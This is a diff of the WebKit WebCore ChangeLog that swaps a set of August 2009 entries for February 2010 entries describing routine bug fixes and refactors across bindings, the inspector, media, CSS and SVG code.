-        both configurations being generated.
-
-        Previously we built both of these configurations by default, for
-        all targets (both the QtWebKit framework/dyldlib and the various
-        executables such as QtLauncher and tests). This makes sense for
-        the libraries, which get the _debug suffix and can be loaded on
-        demand by setting the DYLD_IMAGE_SUFFIX, but for executables we
-        ended up building the same executable twice.
-
-        We now only build one instance of each executable, and since this
-        is a developer build we build the debug-version. Passing either
-        --debug or --release to build-webkit will override this, and
-        even in the default case the release version can still be built
-        by running 'make release' in the the build directory of each
-        target.
-
-        * WebCore.pro:
-
-2009-08-25  Xan Lopez  <xlopez@igalia.com>
-
-        Reviewed by Jan Alonzo.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28690
-        Build failure in webkitgtk+-1.1.3
-
-        Do not use deprecated function to unref a pixbuf.
+        Make Pasteboard::writeImage() safe against NULL cachedImages, and clean
+        up some code.
+        https://bugs.webkit.org/show_bug.cgi?id=35136
 
-        * platform/gtk/CursorGtk.cpp:
-        (WebCore::Cursor::Cursor):
-
-2009-08-24  Hironori Bono  <hbono@chromium.org>
-
-        Reviewed by Adam Barth.
-
-        Fix Bug 27827 "[Chromium] Functions Keys don't work in google spreadsheet".
-        <https://bugs.webkit.org/show_bug.cgi?id=27827>.
-
-        Because of the lack of mappings from GDK key-codes to WebKit key-codes,
-        Chromium cannot send valid key-codes to JavaScript when a user types
-        function keys. This change just copies the mappings from 'KeyEventGtk.cpp'.
-
-        To write layout tests for this issue, added mappings from function-key
-        names to platform-specific key-codes to EventSendingController objects
-        so that eventSender.keyDown() can send function-key events without using
-        platform-specific key codes. (Unfortunately, this eventSender.keyDown() change
-        is only for Mac. So this change adds this new test to Skipped tests for other
-        platforms to prevent this change from crashing the build trees.)
-
-        Test: fast/events/keydown-function-keys.html
-
-       * platform/chromium/KeyCodeConversionGtk.cpp: Add mappings from GDK key-codes
-        to WebKit key-code for function keys.
-        (WebCore::windowsKeyCodeForKeyEvent):
-
-2009-08-24  Antti Koivisto  <antti@apple.com>
-
-        Reviewed by Simon Fraser.
-        
-        https://bugs.webkit.org/show_bug.cgi?id=28698
-        Avoid unnecessary transformations for the window resizer rect.
-
-        * platform/Scrollbar.cpp:
-        (WebCore::Scrollbar::setFrameRect):
-
-2009-08-24  Alexey Proskuryakov  <ap@apple.com>
-
-        Reviewed by Anders Carlsson.
-
-        <rdar://problem/7161900> REGRESSION: 100 MB membuster leak on windows due to 47391
-        (DNS prefetching support)
-
-        * platform/network/cf/DNSCFNet.cpp: (WebCore::prefetchDNS): Use a run loop from secondary
-        thread on Windows, because there isn't one on main one.
-
-2009-08-24  Alexey Proskuryakov  <ap@apple.com>
-
-        Reviewed by Darin Adler.
+        * loader/ImageLoader.cpp:
+        (WebCore::ImageLoader::updateRenderer): Shorten some code.
+        * page/DragController.cpp:
+        (WebCore::getImage): Shorten some code.
+        * platform/chromium/PasteboardChromium.cpp:
+        (WebCore::Pasteboard::writeImage): NULL-check cachedImage().
+        * platform/gtk/PasteboardGtk.cpp:
+        (WebCore::Pasteboard::writeImage): NULL-check cachedImage().
+        * platform/mac/PasteboardMac.mm:
+        (WebCore::Pasteboard::writeImage): NULL-check cachedImage().
+        * platform/qt/PasteboardQt.cpp:
+        (WebCore::Pasteboard::writeImage): NULL-check cachedImage().
+        * platform/win/PasteboardWin.cpp:
+        (WebCore::Pasteboard::writeImage): NULL-check cachedImage().
 
-        https://bugs.webkit.org/show_bug.cgi?id=28374
-        Cross-scheme requests should not be blocked by appcache rules
+2010-02-19  Kenneth Rohde Christiansen  <kenneth@webkit.org>
 
-        Test: http/tests/appcache/different-scheme.html
+        Rubberstamped by Noam Rosenthal, who wrote the original code.
 
-        * loader/appcache/ApplicationCacheHost.cpp:
-        (WebCore::ApplicationCacheHost::shouldLoadResourceFromApplicationCache):
-        Resources with different schemes can never be loaded from appcache.
+        Make mouse wheel scrolling work when using the GraphicsLayer.
 
-2009-08-24  Alexey Proskuryakov  <ap@apple.com>
+        * platform/graphics/qt/GraphicsLayerQt.cpp:
+        (WebCore::GraphicsLayerQtImpl::GraphicsLayerQtImpl):
 
-        Reviewed by Darin Adler and Sam Weinig.
+2010-02-19  Nate Chapin  <japhet@chromium.org>
 
-        https://bugs.webkit.org/show_bug.cgi?id=28688
-        REGRESSION(r24994): Cannot create a frame with a javascript URL
+        Reviewed by Dimitri Glazkov.
 
-        Test: http/tests/security/javascriptURL/javascriptURL-in-new-iframe.html
+        [V8] Fix Worker crash regression in r54972
 
-        * bindings/js/JSAttrCustom.cpp: (WebCore::JSAttr::setValue):
-        * bindings/js/JSElementCustom.cpp: (WebCore::allowSettingSrcToJavascriptURL):
-        * bindings/js/JSHTMLFrameElementCustom.cpp: (WebCore::allowSettingJavascriptURL):
-        * bindings/js/JSHTMLIFrameElementCustom.cpp: (WebCore::JSHTMLIFrameElement::setSrc):
-        Omit the checks if there is no document in frame yet.
+        https://bugs.webkit.org/show_bug.cgi?id=35166
 
-2009-08-24  Nate Chapin  <japhet@chromium.org>
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::instantiateV8Object): Properly unwrap global objects when inside a WorkerContext.
 
-        Reviewed by Eric Seidel.
+2010-02-19  Steve Block  <steveblock@google.com>
 
-        Fix crash in fast/css/rem-dynamic-scaling.html due to a freed
-        RenderStyle being accessed.
+        Not reviewed. Reverts r55020 which causes crashes in Chromium LayoutTests
 
-        https://bugs.webkit.org/show_bug.cgi?id=28681
+        * bindings/generic/RuntimeEnabledFeatures.cpp:
+        * storage/Database.cpp:
 
-        * dom/Element.cpp:
-        (WebCore::Element::recalcStyle): Make currentStyle a RefPtr.
+2010-02-19  Steve Block  <steveblock@google.com>
 
-2009-08-24  Dan Bernstein  <mitz@apple.com>
+        Reviewed by David Levin.
 
-        Reviewed by Simon Fraser.
+        Sets default values of V8 runtime enabler flags to match behavior with JSC
+        https://bugs.webkit.org/show_bug.cgi?id=35095
 
-        <rdar://problem/5743105> Long freezing during loading and selecting text
-        of a large table
-        https://bugs.webkit.org/show_bug.cgi?id=14918
+        No new tests, modifies a Chromium feature only.
 
-        * rendering/RenderView.cpp:
-        (WebCore::RenderView::setSelection): Added calls to
-            beginDeferredRepaints() and endDeferredRepaints() around the
-            invalidation of the selection, in order to better coalesce multiple
-            invalid rectangles.
+        * bindings/generic/RuntimeEnabledFeatures.cpp: Modified. Sets appcache and geolocation flag defaults to 'on'
+        * storage/Database.cpp: Modified. Sets database flag default to 'on'.
 
-2009-08-24  Pavel Feldman  <pfeldman@chromium.org>
+2010-02-19  Alexander Pavlov  <apavlov@chromium.org>
 
-        Reviewed by Timothy Hatcher.
+        Reviewed by Pavel Feldman.
 
-        WebInspector: Simplify findTreeElement code, get rid of potential infinite loop.
+        WebInspector: Elements panel: Correctly show empty elements' ending tags
+        for XML and HTML documents.
+        https://bugs.webkit.org/show_bug.cgi?id=26315
 
-        https://bugs.webkit.org/show_bug.cgi?id=28680
+        Test: inspector/elements-panel-xhtml-structure.xhtml
 
-        * inspector/front-end/ElementsPanel.js:
-        (WebInspector.ElementsPanel.prototype.updateBreadcrumb):
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::populateScriptObjects):
         * inspector/front-end/ElementsTreeOutline.js:
-        (WebInspector.ElementsTreeOutline.prototype.findTreeElement):
-        * inspector/front-end/treeoutline.js:
-        (TreeOutline.prototype.getCachedTreeElement):
-        (TreeOutline.prototype.findTreeElement):
-        * inspector/front-end/utilities.js:
-        (isAncestorNode):
-        ():
-
-2009-08-24  Pavel Feldman  <pfeldman@chromium.org>
+        (WebInspector.ElementsTreeOutline.prototype.set rootDOMNode):
+        (WebInspector.ElementsTreeOutline.prototype.get isXMLMimeType):
+        (WebInspector.ElementsTreeOutline.prototype._contextMenuEventFired):
+        (WebInspector.ElementsTreeElement.prototype.onexpand):
+        (WebInspector.ElementsTreeElement.prototype.oncollapse):
+        (WebInspector.ElementsTreeElement.prototype.updateTitle.callback):
+        (WebInspector.ElementsTreeElement.prototype.updateTitle):
+        (WebInspector.ElementsTreeElement.prototype._nodeTitleInfo):
 
-        Reviewed by Timothy Hatcher.
+2010-02-19  Pavel Feldman  <pfeldman@chromium.org>
 
-        WebInspector: Do expand local scope when hitting the break
+        Not reviewed. Chromium build fix: reverting r54997 and r54998.
 
-        https://bugs.webkit.org/show_bug.cgi?id=28678
+        * bindings/v8/custom/V8LocationCustom.cpp:
+        (WebCore::V8Location::protocolAccessorSetter):
+        * platform/KURLGoogle.cpp:
+        (WebCore::KURL::setProtocol):
+        (WebCore::KURL::isHierarchical):
 
-        * inspector/front-end/ScopeChainSidebarPane.js:
-        (WebInspector.ScopeChainSidebarPane.prototype.update):
+2010-02-17  Philippe Normand  <pnormand@igalia.com>
 
-2009-08-24  Ada Chan  <adachan@apple.com>
+        Reviewed by Eric Seidel.
 
-        Reviewed by Steve Falkenburg.
+        [GTK] RTP/RTSP streams playback support
+        https://bugs.webkit.org/show_bug.cgi?id=33662
 
-        Make sure we use the current FrameView's frame rect when
-        going back to a cached page.
-        
-        https://bugs.webkit.org/show_bug.cgi?id=28659
+        Added live pipelines support in updateStates().
 
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::open):
+        * manual-tests/video-rtsp.html: Added.
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::MediaPlayerPrivate::seek):
+        (WebCore::MediaPlayerPrivate::updateStates):
 
-2009-08-24  Cameron McCormack  <cam@mcc.id.au>
+2010-02-18  Yaar Schnitman  <yaar@chromium.org>
 
         Reviewed by Darin Adler.
 
-        Modifying <text rotate=""> doesn't clear the corresponding SVGAnimatedNumberList
-        https://bugs.webkit.org/show_bug.cgi?id=28673
-
-        Test: svg/dom/text-rotate-live.html
-
-        * svg/SVGNumberList.cpp:
-        (WebCore::SVGNumberList::parse): Clear the list before adding the parsed
-        numbers.
-
-2009-08-24  Simon Fraser  <simon.fraser@apple.com>
-
-        Reviewed by NOBODY (build fix)
-
-        Turn off ENABLE_3D_CANVAS in the xconfig files.
-
-        * Configurations/FeatureDefines.xcconfig:
-
-2009-08-24  Pavel Feldman  <pfeldman@chromium.org>
-
-        Reviewed by Timothy Hatcher.
-
-        WebInspector: Only expand local scope when hitting the break
-
-        https://bugs.webkit.org/show_bug.cgi?id=28678
-
-        * inspector/front-end/ScopeChainSidebarPane.js:
-        (WebInspector.ScopeChainSidebarPane.prototype.update):
-
-2009-08-24  Dan Bernstein  <mitz@apple.com>
-
-        Reviewed by Simon Fraser.
-
-        background-size fails to parse if a single length/percentage/auto is followed by a comma
-        https://bugs.webkit.org/show_bug.cgi?id=28674
-
-        * css/CSSParser.cpp:
-        (WebCore::CSSParser::parseFillSize): Added an allowComma parameter,
-            which is set to false when this method consumes a comma. Moved
-            handling of 'contain' and 'cover' from parseFillProperty into this
-            method.
-        (WebCore::CSSParser::parseFillProperty): Set allowComma to true before
-            processing the next value, and pass allowComma to parseFillSize.
-        * css/CSSParser.h:
-
-2009-08-17  Martin Robinson  <martin.james.robinson@gmail.com>
-
-        Reviewed by Gustavo Noronha.
-
-        [GTK] Support for cursors that are images
-        https://bugs.webkit.org/show_bug.cgi?id=28346
-
-        Added support for cursors which are images for CursorGtk. Added
-        a manual test for this.
-
-        * manual-tests/gtk/cursor-image.html: Added.
-        * manual-tests/gtk/resources/redcursor.cur: Added.
-        * platform/gtk/CursorGtk.cpp:
-        (WebCore::Cursor::Cursor):
-
-2009-08-24  Zan Dobersek  <zandobersek@gmail.com>
-
-        Reviewed by Gustavo Noronha.
-
-        [GTK] Integrate GStreamer video with the graphics backend
-        https://bugs.webkit.org/show_bug.cgi?id=16356
+        Normalize custom ctors for Image, Option, Audio
+        https://bugs.webkit.org/show_bug.cgi?id=34782
 
-        Improves GStreamer backend implementation of MediaPlayerPrivate class.
+        Test: fast/js/custom-constructors.html
 
-        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
-        (WebCore::mediaPlayerPrivateErrorCallback): Send proper MediaPlayer
-        error for different GStreamer errors to MediaPlayerPrivate.
-        (WebCore::MediaPlayerPrivate::MediaPlayerPrivate): Move static
-        initialization boolean to a better place.
-        (WebCore::MediaPlayerPrivate::play):
-        (WebCore::MediaPlayerPrivate::pause):
-        (WebCore::MediaPlayerPrivate::duration): Return if error occured, do not
-        consider the source as stream if duration query failed.
-        (WebCore::MediaPlayerPrivate::currentTime): Return if error occured, use
-        an early return.
-        (WebCore::MediaPlayerPrivate::seek): Return if error occured.
-        (WebCore::MediaPlayerPrivate::setEndTime): Remove implementation since this
-        function doesn't seem to be used anywhere in WebCore.
-        (WebCore::MediaPlayerPrivate::paused):
-        (WebCore::MediaPlayerPrivate::seeking):
-        (WebCore::MediaPlayerPrivate::setRate): Seek to current time when rate is set.
-        (WebCore::MediaPlayerPrivate::maxTimeBuffered): Return if error occured.
-        (WebCore::MediaPlayerPrivate::maxTimeSeekable): Ditto.
-        (WebCore::MediaPlayerPrivate::maxTimeLoaded): Ditto.
-        (WebCore::MediaPlayerPrivate::bytesLoaded):
-        (WebCore::MediaPlayerPrivate::totalBytesKnown):
-        (WebCore::MediaPlayerPrivate::totalBytes): Ditto.
-        (WebCore::MediaPlayerPrivate::updateStates): Return if error occured, update
-        after seek ended with a successful change
-        (WebCore::MediaPlayerPrivate::didEnd): Do not pause the playbin when end is reached.
-        (WebCore::MediaPlayerPrivate::loadingFailed): Update network state with the given error.
-        (WebCore::mimeTypeCache): Gather supported mime types from GStreamer.
-        (WebCore::MediaPlayerPrivate::getSupportedTypes):
-        (WebCore::MediaPlayerPrivate::supportsType):
-        (WebCore::MediaPlayerPrivate::hasSingleSecurityOrigin):
-        (WebCore::MediaPlayerPrivate::supportsFullscreen): First step towards fullscreen
-        support.
-        (WebCore::MediaPlayerPrivate::createGSTPlayBin): Use playbin2 instead of playbin,
-        do not set playbin's audio sink.
-        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.h:
-        * platform/graphics/gtk/VideoSinkGStreamer.cpp:
-        (webkit_video_sink_idle_func): Use C+casts, decrease reference count of async
-        queue at the end of the idle function.
-        (webkit_video_sink_render): Increase reference count of async queue.
-        (webkit_video_sink_stop): Remove any idle functions with the sink as data.
-
-2009-08-23  Chris Marrin  <cmarrin@apple.com>
-
-        Reviewed by Simon Fraser.
-
-        Remaining new files for Canvas3D
-        https://bugs.webkit.org/show_bug.cgi?id=28018
+        * bindings/js/JSAudioConstructor.cpp:
+        (WebCore::JSAudioConstructor::JSAudioConstructor):
+        (WebCore::constructAudio):
+        * bindings/js/JSImageConstructor.cpp:
+        (WebCore::constructImage):
+        * bindings/js/JSOptionConstructor.cpp:
+        (WebCore::constructHTMLOptionElement):
+        * bindings/v8/custom/V8HTMLAudioElementConstructor.cpp:
+        (WebCore::v8HTMLAudioElementConstructorCallback):
+        * bindings/v8/custom/V8HTMLImageElementConstructor.cpp:
+        (WebCore::v8HTMLImageElementConstructorCallback):
+        * bindings/v8/custom/V8HTMLOptionElementConstructor.cpp:
+        (WebCore::v8HTMLOptionElementConstructorCallback):
+        * html/HTMLAudioElement.cpp:
+        (WebCore::HTMLAudioElement::HTMLAudioElement):
+        (WebCore::HTMLAudioElement::createForJSConstructor):
+        * html/HTMLAudioElement.h:
+        * html/HTMLImageElement.cpp:
+        (WebCore::HTMLImageElement::createForJSConstructor):
+        (WebCore::HTMLImageElement::mapToEntry):
+        (WebCore::HTMLImageElement::createRenderer):
+        (WebCore::HTMLImageElement::attach):
+        (WebCore::HTMLImageElement::width):
+        (WebCore::HTMLImageElement::height):
+        (WebCore::HTMLImageElement::naturalHeight):
+        * html/HTMLImageElement.h:
+        * html/HTMLOptionElement.cpp:
+        (WebCore::HTMLOptionElement::HTMLOptionElement):
+        (WebCore::HTMLOptionElement::createForJSConstructor):
+        (WebCore::HTMLOptionElement::ownerSelectElement):
+        (WebCore::HTMLOptionElement::nonRendererRenderStyle):
+        (WebCore::HTMLOptionElement::disabled):
+        (WebCore::HTMLOptionElement::insertedIntoTree):
+        * html/HTMLOptionElement.h:
 
-        * bindings/js/JSHTMLCanvasElementCustom.cpp: Added Canvas3D method behind an ifdef
-        * html/canvas/CanvasByteArray.cpp: Added. Efficient array of bytes for passing to GL functions
-        * html/canvas/CanvasByteArray.h: Added.
-        * html/canvas/CanvasByteArray.idl: Added.
-        * html/canvas/CanvasNumberArray.cpp: Added. Efficient array of 32 bit floats for passing to GL functions
-        * html/canvas/CanvasNumberArray.h: Added.
-        * html/canvas/CanvasNumberArray.idl: Added.
+2010-02-18  Simon Fraser  <simon.fraser@apple.com>
 
-2009-08-24  Pavel Feldman  <pfeldman@chromium.org>
+        No Review.
 
-        Reviewed by Timothy Hatcher.
+        Remove a couple of extraneous spaces that got added to the project file
+        by hand-ending.
 
-        WebInspector: Migrate call frames interaction to the InjectedScript-based schema.
+        * WebCore.xcodeproj/project.pbxproj:
 
-        https://bugs.webkit.org/show_bug.cgi?id=28408
+2010-02-18  Simon Fraser  <simon.fraser@apple.com>
 
-        * inspector/front-end/CallStackSidebarPane.js:
-        (WebInspector.CallStackSidebarPane.prototype.update):
-        * inspector/front-end/ConsoleView.js:
-        (WebInspector.ConsoleView.prototype.doEvalInWindow):
-        (WebInspector.ConsoleTextMessage):
-        * inspector/front-end/DOMAgent.js:
-        (WebInspector.DOMAgent.prototype.get domWindow):
-        (InspectorController.openInInspectedWindow):
-        (InspectorController.getCallFrames):
-        (InspectorController.evaluateInCallFrame):
-        * inspector/front-end/ElementsPanel.js:
-        (WebInspector.ElementsPanel.prototype.reset):
-        (WebInspector.ElementsPanel.prototype.generateStylesheet):
-        * inspector/front-end/InjectedScript.js:
-        (InjectedScript.evaluate):
-        (InjectedScript._evaluateOn):
-        (InjectedScript.openInInspectedWindow):
-        (InjectedScript.getCallFrames):
-        (InjectedScript.evaluateInCallFrame):
-        (InjectedScript._callFrameForId):
-        (InjectedScript._objectForId):
-        (InjectedScript.CallFrameProxy):
-        (InjectedScript.CallFrameProxy.prototype._wrapScopeChain):
-        * inspector/front-end/ObjectPropertiesSection.js:
-        (WebInspector.ObjectPropertiesSection.prototype._update):
-        * inspector/front-end/ObjectProxy.js:
-        (WebInspector.ObjectPropertyProxy):
-        * inspector/front-end/ResourcesPanel.js:
-        (WebInspector.ResourceSidebarTreeElement.prototype.ondblclick):
-        * inspector/front-end/ScopeChainSidebarPane.js:
-        (WebInspector.ScopeChainSidebarPane):
-        (WebInspector.ScopeChainSidebarPane.prototype.update):
-        (WebInspector.ScopeVariableTreeElement.prototype.onattach):
-        (WebInspector.ScopeVariableTreeElement.prototype.onexpand):
-        (WebInspector.ScopeVariableTreeElement.prototype.oncollapse):
-        * inspector/front-end/ScriptsPanel.js:
-        (WebInspector.ScriptsPanel.prototype.doEvalInCallFrame):
-        (WebInspector.ScriptsPanel.prototype.variablesInSelectedCallFrame):
-        (WebInspector.ScriptsPanel.prototype.debuggerPaused.callback):
-        (WebInspector.ScriptsPanel.prototype.debuggerPaused):
+        Reviewed by Dan Bernstein.
 
-2009-08-24  Kent Tamura  <tkent@chromium.org>
+        <rdar://problem/7535894> Page contents missing from snapshot on Newsweek.com article
+        
+        Add logic to determine when painting via the software rendering path will give an equivalent
+        result to the accelerated compositing presentation. This tests for the presence of 3D transforms
+        via the existing RenderLayerCompositor::has3DContent() method.
+        
+        * WebCore.base.exp: Export FrameView's isSoftwareRenderable(), paintBehavior() and setPaintBehavior().
+        * page/FrameView.h:
+        * page/FrameView.cpp:
+        (WebCore::FrameView::isSoftwareRenderable): New method.
+        (WebCore::FrameView::paintBehavior): Make this non-inline so that we can reliably export it.
 
-        Reviewed by Eric Seidel.
+2010-02-18  Dan Bernstein  <mitz@apple.com>
 
-        Add support for the placeholder attribute and DOM property of the textarea element.
-        https://bugs.webkit.org/show_bug.cgi?id=21248
-
-        A DOM node for an INPUT element doesn't have a flag for placeholder
-        visibility anymore.  This patch also fixes a bug that a renderer
-        doesn't reflect a corresponding DOM value change.
-
-        Tests: fast/forms/textarea-placeholder-dom-property.html
-               fast/forms/textarea-placeholder-pseudo-style.html
-               fast/forms/textarea-placeholder-set-attribute.html
-               fast/forms/textarea-placeholder-set-value.html
-
-        * css/html.css: Add the default style for placeholder of textarea.
-        * dom/InputElement.cpp: Cleanup for m_placeholderShouldBeVisible removal
-        (WebCore::InputElement::dispatchFocusEvent):
-        (WebCore::InputElement::dispatchBlurEvent):
-        (WebCore::InputElement::placeholderShouldBeVisible):
-        (WebCore::InputElement::updatePlaceholderVisibility):
-        (WebCore::InputElement::setValueFromRenderer):
-        (WebCore::InputElementData::InputElementData):
-        * dom/InputElement.h:
-        * html/HTMLInputElement.cpp:
-        (WebCore::HTMLInputElement::dispatchFocusEvent):
-        (WebCore::HTMLInputElement::dispatchBlurEvent):
-        (WebCore::HTMLInputElement::setValue):
-        (WebCore::HTMLInputElement::placeholderShouldBeVisible):
-        * html/HTMLInputElement.h:
-        (WebCore::HTMLInputElement::updatePlaceholderVisibility):
-        * html/HTMLTextAreaElement.cpp:
-        (WebCore::HTMLTextAreaElement::parseMappedAttribute):
-        (WebCore::HTMLTextAreaElement::setValue):
-        (WebCore::HTMLTextAreaElement::placeholderShouldBeVisible):
-        (WebCore::HTMLTextAreaElement::updatePlaceholderVisibility):
-        (WebCore::HTMLTextAreaElement::dispatchFocusEvent):
-        (WebCore::HTMLTextAreaElement::dispatchBlurEvent):
-        * html/HTMLTextAreaElement.h:
-        * html/HTMLTextAreaElement.idl:
-        * rendering/RenderTextControl.cpp:
-        (WebCore::RenderTextControl::RenderTextControl):
-        (WebCore::RenderTextControl::styleDidChange):
-        (WebCore::RenderTextControl::setInnerTextStyle):
-        (WebCore::RenderTextControl::updatePlaceholderVisibility):
-        * rendering/RenderTextControl.h:
-        * rendering/RenderTextControlMultiLine.cpp:
-        (WebCore::RenderTextControlMultiLine::RenderTextControlMultiLine):
-        (WebCore::RenderTextControlMultiLine::nodeAtPoint):
-        (WebCore::RenderTextControlMultiLine::updateFromElement):
-        (WebCore::RenderTextControlMultiLine::createInnerTextStyle):
-        (WebCore::RenderTextControlMultiLine::textBaseStyle):
-        * rendering/RenderTextControlMultiLine.h:
-        * rendering/RenderTextControlSingleLine.cpp:
-        (WebCore::RenderTextControlSingleLine::RenderTextControlSingleLine):
-        (WebCore::RenderTextControlSingleLine::textBaseStyle):
-        (WebCore::RenderTextControlSingleLine::updateFromElement):
-        (WebCore::RenderTextControlSingleLine::createInnerTextStyle):
-        * rendering/RenderTextControlSingleLine.h:
-        * wml/WMLInputElement.cpp:
-        (WebCore::WMLInputElement::dispatchFocusEvent):
-        (WebCore::WMLInputElement::dispatchBlurEvent):
-        (WebCore::WMLInputElement::setValue):
-        (WebCore::WMLInputElement::placeholderShouldBeVisible):
+        Reviewed by John Sullivan.
 
-2009-08-23  Dirk Schulze  <krit@webkit.org>
+        <rdar://problem/7658811> Multiple style recalcs due to getComputedStyle() on “display: none;” element
+        when there are pending style sheets
 
-        Reviewed by Mark Rowe.
+        Test: fast/css/getComputedStyle/pending-stylesheet.html
 
-        Code clean-up and build fix for filters enabled builds. Moved SVGNames.h
-        into #if ENABLE(SVG) for Document.cpp and added SVGNames.h to the other
-        files. They are needed there after r47688.
+        When querying a property of a computed style declaration for a non-rendered element,
+        CSSStyleSelector::styleForElement() was called, and if there were pending style sheet, it
+        would behave as if the lack of renderer is due to FOUC suppression, and set a flag on
+        the document causing it to recalculate style. On the next computed style property access,
+        style would be recalculated for the document, but then the flag would get set again if the
+        element did not have a renderer.
 
         * dom/Document.cpp:
-        * svg/SVGComponentTransferFunctionElement.h:
-        * svg/SVGFELightElement.h:
-        * svg/SVGFEMergeNodeElement.h:
-        * svg/SVGFilterPrimitiveStandardAttributes.h:
-
-2009-08-23  Gustavo Noronha Silva  <gns@gnome.org>
-
-        Unreviewed, build fix for make distcheck on GTK+.
-
-        * GNUmakefile.am: Added files needed for the build.
-        * bindings/js/JSDOMWindowCustom.cpp: Protect SharedWorker include
-        with #if clause.
-        * bindings/js/JSEventTarget.cpp: Dito.
-        * dom/Document.cpp: Dito.
-        * loader/FrameLoader.cpp: Dito.
-
-2009-08-23  Joseph Pecoraro  <joepeck@webkit.org>
-
-        Reviewed by Timothy Hatcher.
-
-        Inspector: Throws an Error on "null"
-        https://bugs.webkit.org/show_bug.cgi?id=28665
-
-        * inspector/front-end/InjectedScript.js:
-        (InjectedScript.evaluate):
-
-2009-08-23  Pavel Feldman  <pfeldman@chromium.org>
-
-        Reviewed by Timothy Hatcher.
-
-        Inspector: REGRESSION Formatting Function in Console is Abbreviated Too Often
-
-        https://bugs.webkit.org/show_bug.cgi?id=28666
-
-        * inspector/front-end/InjectedScript.js:
-        (InjectedScript.getProperties):
-        (InjectedScript.createProxyObject):
-
-2009-08-22  Martin Robinson  <martin.james.robinson@gmail.com>
-
-        Reviewed by Xan Lopez.
-
-        [GTK] BitmapImage::getGdkPixbuf does not handle alpha channels properly
-        https://bugs.webkit.org/show_bug.cgi?id=28345
-
-        When doing the conversion between cairo_surface_t* and GdkPixbuf*
-        account for the differences in the respective formats' in-memory
-        image format.
-
-        * platform/graphics/gtk/ImageGtk.cpp:
-        (WebCore::getCairoSurfacePixel):
-        (WebCore::getGdkPixbufPixel):
-        (WebCore::BitmapImage::getGdkPixbuf):
-
-2009-08-22  Darin Adler  <darin@apple.com>
-
-        Reviewed by Oliver Hunt.
-
-        Make DOM classes start with a reference count of 1, like all other RefCounted
-        
-        Next step: Element, HTMLElement, HTMLAnchorElement, HTMLAppletElement,
-        HTMLAreaElement, HTMLEmbedElement, HTMLFrameElement, HTMLIFrameElement,
-        HTMLObjectElement, HTMLPlugInElement, HTMLPlugInImageElement.
-
-        * DerivedSources.make: Fix error seen every time we build by escaping the $
-        in the build rule, since you have to use $$ for that in make.
-
-        * WebCore.base.exp: Updated.
-
-        * bindings/objc/DOM.mm:
-        Added now-needed include of SVGNames.h.
-
-        * dom/Document.cpp: Added now-needed include of SVGNames.h.
-        (WebCore::Document::createElement): Use create instead of new.
-
+        (WebCore::Document::styleForElementIgnoringPendingStylesheets): Added. Temporarily sets
+        m_ignorePendingStylesheets around the call to CSSStyleSelector::styleForElement().
+        * dom/Document.h:
         * dom/Element.cpp:
-        (WebCore::Element::Element): Added ConstructionType argument so the caller
-        can determine whether this starts with a reference count of either 0 or 1.
-        Later we will remove this again once they are all 1.
-        (WebCore::Element::create): Added.
+        (WebCore::Element::computedStyle): Use Document::styleForElementIgnoringPendingStylesheets().
 
-        * dom/Element.h: Added create and made constructor protected.
+2010-02-18  Dirk Schulze  <krit@webkit.org>
 
-        * dom/StyledElement.cpp:
-        (WebCore::StyledElement::StyledElement): Added ConstructionType argument.
-        * dom/StyledElement.h: Made many functions protected or private, including
-        the constructor.
-
-        * dom/make_names.pl: Use create to create the base elements HTMLElement,
-        SVGElement, and WMLElement.
+        Reviewed by Nikolas Zimmermann.
 
-        * editing/CreateLinkCommand.cpp:
-        (WebCore::CreateLinkCommand::doApply): Use create instead of new.
-        * editing/UnlinkCommand.cpp:
-        (WebCore::UnlinkCommand::doApply): Ditto.
+        Move SVGResources to Renderers, starting with Masker
+        https://bugs.webkit.org/show_bug.cgi?id=35020
 
-        * html/HTMLAnchorElement.cpp:
-        (WebCore::HTMLAnchorElement::create): Added.
-        * html/HTMLAnchorElement.h: Made constructor protected and added create.
-        Also made m_rootEditableElementForSelectionOnMouseDown a RefPtr.
+        We have rendering specific code in WebCore/svg/graphics. The goal is to move
+        this code into suitable Renderers. This helps us to clean up the code and makes
+        maintenance easier. It also makes it possible to remove rendering specific code
+        from SVG*Elements into this renderers. So the Renderer contains everything that
+        is needed to use the resource.
+        RenderSVGResource will be the base class for all new resource render classes like
+        RenderSVGResourceMasker, RenderSVGResourceClipper and the other resources.
 
-        * html/HTMLAppletElement.cpp:
-        (WebCore::HTMLAppletElement::create): Added.
-        * html/HTMLAppletElement.h: Made constructor private and added create.
+        This patch starts moving SVGResourceMasker to RenderSVGResourceMasker.
+        Another benefit is the much more useful result in DRT on using masker.
 
-        * html/HTMLAreaElement.cpp:
-        (WebCore::HTMLAreaElement::create): Added.
-        * html/HTMLAreaElement.h: Made constructor private and added create.
+        * Android.mk:
+        * GNUmakefile.am:
+        * WebCore.gypi:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * rendering/RenderObject.cpp:
+        (WebCore::RenderObject::toRenderSVGResource): Conversion to RenderSVGResource base class.
+        * rendering/RenderObject.h:
+        (WebCore::RenderObject::isSVGResource): Check if renderer is a resource.
+        * rendering/RenderPath.cpp:
+        * rendering/RenderSVGImage.cpp:
+        (WebCore::RenderSVGImage::destroy): Renderer gets destroyed, unregister it from it's resources.
+        * rendering/RenderSVGImage.h: Some code clean up according to the webkit style.
+        (WebCore::RenderSVGImage::toSVGRenderBase):
+        (WebCore::RenderSVGImage::renderName):
+        (WebCore::RenderSVGImage::isSVGImage):
+        (WebCore::RenderSVGImage::localToParentTransform):
+        (WebCore::RenderSVGImage::strokeBoundingBox):
+        (WebCore::RenderSVGImage::requiresLayer):
+        (WebCore::RenderSVGImage::localTransform):
+        * rendering/RenderSVGInlineText.h:
+        (WebCore::RenderSVGInlineText::objectBoundingBox): Needed for SVGRenderTreeAsText
+        * rendering/RenderSVGModelObject.cpp:
+        (WebCore::RenderSVGModelObject::destroy): Renderer gets destroyed, unregister it from it's resources.
+        * rendering/RenderSVGModelObject.h:
+        * rendering/RenderSVGResource.h: Added.
+        (WebCore::): Base class for all Resource renderers like masker, clipper and others.
+        (WebCore::RenderSVGResource::RenderSVGResource):
+        (WebCore::RenderSVGResource::cast):
